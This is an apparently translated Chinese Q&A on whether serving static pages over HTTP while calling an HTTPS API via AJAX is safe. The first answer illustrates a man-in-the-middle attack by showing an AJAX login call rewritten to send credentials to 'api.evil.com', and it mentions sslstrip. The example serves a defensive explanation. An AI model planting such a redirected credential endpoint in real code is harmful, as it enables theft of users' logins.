Ajax HTTPS但在HTTP上託管的靜態內容

Question

如果我在http://domain.com和來自https://api.domain.com的相關數據中的AJAX具有完全靜態前端，它們之間傳輸的所有數據都將是安全的（就像兩個使用的都是https一樣）？

這個模型有潛在的缺陷嗎？

我問的原因是因爲我可以使用像Amazon S3這樣的服務來託管我的靜態網頁，只需在我的API上支付證書即可。

Answer 1

除了這個模型導致只有部分加密的頁面，所以掛鎖和https不能在地址欄中顯示給用戶，他們不能（正確）驗證您的網站是真的，它可以也可以對您的HTTP內容執行MITM攻擊，並將進一步的通信重定向到攻擊者。

例如通過HTTP載入你的Ajax代碼可能如下：

$.ajax({ 
    type: 'POST', 
    url: 'https://api.domain.com/LogIn', 

如果攻擊者攔截從你的服務器向受害者的響應，並將其修改爲

$.ajax({ 
    type: 'POST', 
    url: 'http://api.evil.com/LogIn', 

用戶的憑據將被髮送到攻擊者而不是你的網站，如果你的攻擊者隨後將它們轉發到你的網站上，受害者就不會明智地知道他們的細節被盜用了。

諸如sslstrip之類的工具可以讓攻擊者很容易地完成這個任務（假設他們的位置合適，這是所有MITM攻擊的要求）。

Answer 2

我認爲這種方法很好。

保留所有在S3上的大量訪問和靜態頁面（甚至使用Cloudfront進一步加速）。一個很好的例子是你的服務的主頁，一些幫助頁面等等。這些頁面可以在http上，因爲它們中沒有任何私有的東西。

當您然後要求用戶登錄並訪問「私人」內容時，請通過https將它們發送到另一個域，如secure.domain.com。然後，所有的內容都將得到保護，用戶將有信心登錄，因爲他們在登錄時看到瀏覽器中的安全綠色鎖定等。由於您的API還希望要求隱私，也應該在安全域上運行。